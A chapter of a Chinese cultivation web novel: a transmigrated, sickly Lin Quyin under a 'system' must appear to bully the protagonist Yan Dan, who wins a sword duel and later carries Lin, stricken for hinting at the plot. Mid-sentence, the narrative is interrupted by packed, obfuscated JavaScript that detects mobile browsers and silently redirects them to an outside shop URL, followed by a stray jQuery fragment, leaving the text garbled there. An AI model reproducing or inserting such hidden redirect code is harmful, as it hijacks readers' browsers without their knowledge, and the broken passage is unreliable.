前舱甲板上的动静,惹得房间里的弟子们都出来围观,圈出一片地,燕澹和陈丰两人手持长剑,相对而站。
林曲音裹紧了自己的狐裘披风,忧心忡忡问系统:“怎么会这样?”
系统解释:“这其实也是原文的剧情,未婚妻知道了陈丰是金系单灵根,主动勾搭,假装为自己有一个杂灵根未婚夫而忧愁,陈丰自诩花解语,找上燕澹出言挑衅,结果被打得落花流水,从此记恨上了龙傲天,经常带头来找茬,算是前期的一个小炮灰。”
林曲音隐隐想起相关内容:“原来是他。”
系统道:“是啊,外面这么冷,你不想出房间,我想着反正是个小炮灰,这剧情点进了宗门再补也行,就没提醒你,哪想到阴差阳错陈丰主动找上门了。”
画舫外云卷云舒,流光变幻,两人的身形交错在甲板,锋利剑招你来我往。
陈丰虽然已有练气二段,但剑招上只有个空架子,被打得一退再退,好不狼狈。
燕澹面容凌厉,剑花一挽,斜抵在他的脸上,语气冰冷:“可认输?”
陈丰涨红了脸:“不认!我本来不想以修为压你,但你实在欺人太甚,逼得我不得不用真实实力给你一个教训!”
他手中的长剑嗡鸣,剑身闪过一丝流光,轰然和燕澹的剑锋对在一起,蕴含的灵力迎面撞来,压得燕澹连退数步才卸力接住。
燕澹低头一看,自己手中的长剑哀鸣震颤,表面竟出现了几道裂痕,有分崩离析之象。
旁边的弟子哗然议论。
“修为上的差距果然不可小觑!”
“听说陈丰十七岁时受到散仙路过指点,两周开悟引气入体,三月修炼到练气二段,速度惊人,再加上金灵根是天生的剑修,用的剑招想必能发出比寻常高十倍的威力。”
“燕澹兄的剑招确实厉害,可惜啊可惜,输在修为上了。”
林曲音心急问系统:“燕澹会赢的吧?”
“会赢、会赢。”系统老神在在,“你放心,龙傲天越级挑战是必备剧情,不赢我吃书给你看,以后还要在金丹期的时候挑战元婴大佬呢,这才哪儿到哪儿?”
旁边议论纷纷,燕澹神情沉稳,不受丝毫影响,见修为差距难及,剑尖一抖,改了招式。
他跃身向前,身形行云流水,剑招变得飘逸轻灵,如鬼魅般令人防不胜防,绕得陈丰左支右绌,应付不及。
陈丰晕头转向之时,燕澹觑得空隙,凌厉一剑宛若游龙,直直抵在他的咽喉之上。
“练气二段,也不过如此。”
燕澹傲慢睥睨,道:“你输了。”
陈丰脸颊羞辱地涨红,愤怒地再度挥剑劈来:“我不服!你一个还没引气入体的凡人,怎么可能——”
那道剑意裹着他体内的全部灵气轰然劈出,两人距离太近,燕澹心中一凛,第一时间侧身躲开,脸上划过一线血痕。
但那道剑气并未停下,直直向远处的弟子们冲去,引来阵阵惊呼。
“胜负已分。”
观完全程的玄清长老终于出声,袖袍一挥,那道冲出的剑气在半路无声消弭,道:“这次对决是燕澹胜,陈丰,你需愿赌服输。”
陈丰气得浑身颤抖,握紧了拳,但在长老的压制下不得不低头,道:“今日之事是我不对,不该出言不逊,我……道歉。”
说完以后,他再也无脸面留在此地,狼狈地逃回了船舱房间里。
林曲音焦急奔了过去:“燕澹,你的脸受伤了!”
燕澹伸指一摸,看到指腹那一点血,反倒微微笑起来,安慰林曲音:“是小伤,不碍事,不过两三日就能恢复。”
玄清长老浮空落地,站在甲板上,道:“你们既已拜入凌霄派门下,我便做主,让你们提前领取这月份例吧。”
不同份额的丹药连同灵石,送往了每个人的面前,悠悠飘浮在半空,只有林曲音面前的是一枚青石戒指。
玄清长老笑眯眯道:“林曲音,你是单系冰灵根,进凌霄派后必定会被收为内门亲传弟子,每月所能领取的份额是最多的,故而直接给了你一枚储物戒法宝,滴血以后,便可随你心意使用。”
那些弟子在房间里读过书籍,已对修仙之事有了一些了解,听到以后,面面震惊。
“不仅是单灵根,还是变异的冰灵根?”
“听说这样的变异灵根百年难遇一次,一旦踏入修仙之途,修为可日进千里!”
“我本以为陈丰兄的金灵根就已经是很难得了,没想到天外有天,我们这一艘小船上就如此的卧龙藏虎!”
四周望来的震惊羡慕视线里,林曲音接住青石戒指,惊喜道:“多谢玄清长老。”
他还是第一次拿到法宝,把青石戒指攥在了手里,迫不及待拉着燕澹的袖口回了房间里。
系统绝望又无助,嚎得像野驴大叫:“你在干什么?不可以!不可以崩人设!!——”
林曲音在心里努力反驳:“我没有崩人设,我拉燕澹回房间,就是要狠狠地折辱他。”
系统将信将疑:“真的吗?”
林曲音眼眸闪烁:“当然是真的,你怎么可以不信我?”
燕澹面带笑意,被他拉着袖口进房间,还记得林曲音上次差点被绊摔的事,嘱咐:“音音,留神门槛。”
林曲音顺口应了声,发觉了不对,放开燕澹的袖角,和他面对面,仰脸问:“你怎么叫我音音啊?”
燕澹低咳一声,耳尖微红,问:“不可吗?”
“也、也不是不可以……”
林曲音上次被这么叫,还是医院里的护士小姐姐推着小车,言笑晏晏提醒他打针吃药,他不会觉得有什么,只会乖巧点头应好。
但同样的小名被燕澹的口中叫出来,却仿佛染上了一层别样的、亲昵的色彩。
林曲音的脸颊缓慢地升温,声音也小下来:“但是,也不是可以。”
他若是直接答应,某个系统又要疯狂拉响警报了。
燕澹被绕得迷茫:“这到底是可以,还是不可以?”
“总之就是这样,你自己领会吧。”
林曲音胡乱应付,在暖乎乎的房间里穿狐裘热得脸颊晕红,解开了大氅的系带,道:“玄清长老给你的可有疗伤丹药?快看看。”
燕澹注意到他玉白颈侧湿漉漉的微汗,别开视线,将自己领取的份例展示给他看:“有一瓶回灵丹药、一瓶疗伤丹药,两张瞬移符篆和五块下品灵石。”
林曲音催促:“你快用疗伤丹药。”
燕澹脸上的是小伤,丹药珍贵,他本不打算用,也已经打听过,回灵丹药和疗伤丹药是门派里的硬通货,若是自己没有用完,可以拿去和其他弟子换取灵石。
但林曲音一说,他便倒了一颗小小如红豆的疗伤丹药出来,服入口中。
少年侧脸上那一线血痕,肉眼可见地缓慢恢复,直至毫无伤口的痕迹。
林曲音问:“怎么样?”
燕澹感受了一会儿,道:“上次被妖兽袭击受伤,玄清长老的木系灵力有治愈的能力,帮我恢复了七八成,现在一颗丹药下去,已经全好了。”
林曲音好奇自己有多少份额,抽了发间的一支玉簪,用簪尖小心地划了指腹。
一枚血滴落在了青石戒指上,坠落的瞬间,青石戒指亮起莹莹光芒。
林曲音心神一动,自动感应到了储物戒里的内容。
里面有十来瓶的高阶丹药以及数张不同种类的符篆不说,光是灵石就有百余颗。
他只是略起念头,那些丹药、符篆和灵石就齐刷刷地凭空出现,小山似的堆在了桌案上,璀璨光芒大放,一看就知品阶皆是不凡。
林曲音紧盯着燕澹,严肃声明:“你看,我比你多了好多的丹药和灵石。”
他又在心里催促系统:“你看,我完成打压任务了!”
系统懵了:“你什么时候完成了?”
林曲音振振有词:“我把内门弟子的福利待遇都摆了出来,狠狠羞辱了他一个杂役弟子!人无我有,这难道不是最恶毒的打压吗?我还狠狠地强迫了他用了珍贵的丹药!”
系统:“……”
系统一时竟找不到反驳的理由,恍恍惚惚地结算:“叮!恭喜宿主完成日常打压龙傲天任务(1/1),现在发放任务奖励:生命值+1,龙傲天成功与前期小炮灰陈丰结仇,奖励生命值3点。”
林曲音一口气获得了4点生命值,笑得眼眸弯成狡黠月牙。
面前的燕澹却面露担忧:“你现在没有任何修为,拿着这些宝物,有如稚子抱金招摇过市,万不可这样随意露出,如果我有贪婪异心,这时恐对你已经有了杀人夺宝的念头。”
林曲音根本不担心,他在船上的时候已经读完了整本小说,燕澹后期帮一个朋友找到了他们先祖的飞升洞府,面对一整个洞府的珍草异宝、家族传承都不曾动心,更不要说他这三瓜两枣了。
他也不解释,乖巧点了头,将桌上这一堆连同狐裘披风都放进了自己的储物戒里,只留了一瓶高阶疗伤丹药。
“你替我出了头,这是我施舍给你的。”
燕澹自动把施舍两个字替换为感谢两个字,生出几分惋惜。
看样子,家妻并未读过什么书。
当初签写婚契的时候,他就注意到了林曲音下笔生疏笨拙,猜到林曲音久病在深闺中,家里并未安排识文断字,导致说话用词言不由衷,有些可爱的偏颇。
他也不甚在意,恣意一笑:“好,那就多谢了。”
林曲音提裙欲走,忽然想起什么,在心里悄悄戳了下系统:“等到了凌霄派,陈丰不会善罢甘休,会带人回去找燕澹的麻烦,我能不能提醒他一句啊?”
“不能。”系统警告,“这不仅属于剧透,还属于严重崩人设行为,一旦被天道规则检测到,会倒扣你生命值的。”
“哦……”
林曲音想了想,对燕澹正色道:“再过不久,我们就要抵达凌霄派,等到了宗门,你可知道你要做什么?”
燕澹点头:“应尽快引气入体,凡人弟子只能领取到普通的杂役任务,换取微薄的灵石报酬,到了练气修为,则可采摘灵草,或是猎取低阶妖兽,换得大笔灵石。”
林曲音摇头:“错了。”
燕澹虚心请教:“那我应该做什么?”
“进了门派,要牢记不得勤学苦练,谨记骄奢淫逸为先,宵衣旰食为末,最好独善其身,不要去认识什么朋友。”
林曲音板着脸道:“最重要的,是参加完门派长老的布道朝会,绝不能不能立刻离开,一定要多学多问,留到最后一个人才走,也好遇见一些友善的朋友。”
他眨眼:“你听懂了吗?”
燕澹起初疑惑,而后恍然:“你是在提醒我勤加修炼,让我多多结交同门好友,结伴而行,不要落单,避免被陈丰伺机寻仇?可为什么要正话反说?”
【天道规则检测有剧透行为,倒扣二十点生命值,以作警示。】
冰冷的机械音从天而降,蓦然在脑海中响起。
一股剧烈痛意从胸口蔓延,林曲音的脸颊霎时变得惨白,噗一下,口喷鲜血,直直栽倒。
“曲音!”
燕澹的脸上被溅上血点,面色剧变,一把扶住了林曲音,拿了还留在桌上的高阶丹药,迅速倒出喂进他口中。
一股和煦温暖的气流从口中化入体内,却像泥牛沉入大海似的,很快消失不见。
连喂数颗丹药,林曲音的脸色却丝毫不见好转,苍白如纸,是出气多进气少的衰竭之相。
向来喜怒不形于色的燕瞻露出一丝惶然,声线颤抖:“为何丹药会没有用?我去找玄清长老!”
“不、不要……”
林曲音艰难喘气,天旋地转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17962200|214348||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
间,模糊的视线浮现一阵光点,冰冷的手指紧紧攥住了燕澹的衣角,努力张唇:“不要去……”
燕澹打横抱起了他,大步向外冲去,心急如焚,疾步呼喊:“玄清长老!”
“都叫你不要挑战天道规则了!”
系统崩溃了:“你的生命值要掉到底了,你快骂龙傲天几句,有一句算一句,我给你把日常打压任务的奖励都预支过来!!”
林曲音窝在少年炽热的怀里,眼前一片眩晕,伸了手,攀住燕澹的肩头,用尽所有力气,失神喃喃:“讨厌你……”
燕澹的瞳眸微微一缩。
“讨厌你、好讨厌……”
微弱的、孱弱小兽般的呜咽传进他的耳中。
林曲音冷得发抖,瞳孔失焦,唇角沾血,断断续续地哼声:“看见你的第一面就好讨厌……救我的样子,讨厌,替我出头的样子,也好讨厌……”
“不喜欢,你受伤,让我好生气……”
叮叮咚咚的结算音上线,一口气不停歇地连加了七点。
玄清长老听见了燕澹呼喊的动静,飘然现身,愕然问:“这是怎么了?”
燕澹顾不得细思,倏然抬头,恳求道:“他突然吐了血,高阶疗伤丹药也无用,还请玄清长老出手相救!”
玄清长老神情凝重地伸出手,隔着袖袍搭在林曲音的腕心上,探出治愈的木系灵力。
“古怪、古怪。”
玄清长老细察片刻,思忖开口:“我从来没有遇见过这样的事,他刚才还神采奕奕,转瞬却像是要衰竭夭亡,不过他既是万年无一的冰系单灵根,大概是因天生冰肌寒骨,又未曾修炼内力,导致寒气长年累月侵进五脏六腑,故而是这样的阴虚气短之相。”
林曲音被系统连加了几点生命值,恢复了一点力气。
他脸色也好转了些,乌发鬓角汗湿,推了下燕澹,重新站回地面上,轻咳两声,对玄清长老行了礼,慢慢道:“家人为我请过郎中,郎中也说我天生体寒,阳虚畏冷,原来是冰灵根的缘故,多谢玄清长老为我注入灵气,我已感觉好多了。”
燕澹单手扶着林曲音,不敢松开,焦灼追问:“敢问玄清长老,冰灵根这样的体质,修炼以后可会有好转?”
玄清长老点头道:“修炼以后,他可将那些冰寒之气转化为自身的内力,自会慢慢好转。”
燕澹松口气,脸上终于露出一丝笑意:“多谢玄清长老解惑,叨扰了。”
他将林曲音送回了房间,停在门口,道:“我本来还盼着这舫上的日子久一些,到凌霄派的日子再迟一些,现在,却开始希望这船明天就能到凌霄派了。”
林曲音的乌黑发丝有几缕被薄汗濡湿,贴在额角上,漂亮的眉眼含着怔怔。
燕澹伸了手,指尖极克制地替他拨了拨发丝,低声道:“去休息吧,我在门口守着你,若是不舒服,又没有力气喊我,就把杯子摔在地上,我会听见的。”
林曲音嗯一声,轻轻关上门,疲惫不堪地躺回床上,微微阖眼。
系统念念叨叨地上线,又气又急:“都跟你说了不要挑战天道规则,你真是……唉……”
林曲音愧疚道:“我只想试一试反着说能不能逃过去,连累你替我担心了,对不起哦。”
系统心软了:“算了,你下次不要这样了,要是直接把生命值扣成负数,我真的救不了你。”
林曲音嗯嗯保证:“我一定记住。”
他侧过身,专注的视线一瞬不移,看了好一会儿投在门窗上笔直的少年身影,悄悄问系统:“系统,我的体质真的可以被冰灵根治愈吗?”
系统为难道:“冰灵根是天道规则给你的配置,所能修炼出来的灵力也只是为了完成后续的剧情,和你的体质并没有任何的关联,一旦完成了剧情,你的冰灵根和修炼出来的灵力也会被收回去,所以……”
所以,其实是毫无作用的。
林曲音的眸光微微黯淡。
系统给他加油打气:“没关系,等你走完了所有剧情,就可以拿到一具能跑能跳的新身体了!”
林曲音振作起来:“嗯!”
三日后,画舫到达了凌霄派。
一众弟子们下了船,紧张地等待,各山峰的长老派人来带走新收的内门弟子。
来接走林曲音的,是云渺长老座下的大师兄。
岚正师兄踏空而来,袍角翻飞,笑着道:“玄清长老已提前传音告知过我们这次收了一位冰灵根的弟子,我乃云渺峰大师兄岚正,你就是曲音小师妹吧?”
林曲音道:“是我。”
岚正师兄招来一只雪白仙鹤:“曲音小师妹,请随我来。”
林曲音被系统提醒着,忍住了回头的念头,恭敬地点了下头,攀上仙鹤的后背。
仙鹤清唳一声,载着他翩然高飞,眨眼之间隐进了云端,跟随岚正师兄消失在了众人的视线里。
其他的内门弟子接连被带走,在场的还有杂役弟子一十五人,由外门掌事一一安排去处。
同为杂役弟子的一人忍不住开口:“燕澹兄,林姑娘走的时候没有看你一眼,并不像才子佳人的话本那样不离不弃,陪你患难与共,你可伤心?”
“你说的话本,不会是那些千金小姐和落榜书生私奔,红袖添香,洗手作羹汤,守着书生到金榜题名拨云见日的痴人话本吧?”
燕澹诧异看他一眼:“千金小姐既有荣华富贵,那些书生为何要千金小姐同他一起落难受苦,不等着自己金榜题名时,再去风风光光地迎娶?”
同门语塞:“这……”
“云渺峰第一个派人来接走他,还是岚正大师兄亲自来接,足以可见对他的珍爱重视,我替他高兴还来不及,为何要伤心?”
燕澹飒然一笑:“千金小姐就该养尊处优,高坐在云端上,众星捧月。”
“如何去云端,那是我的事。”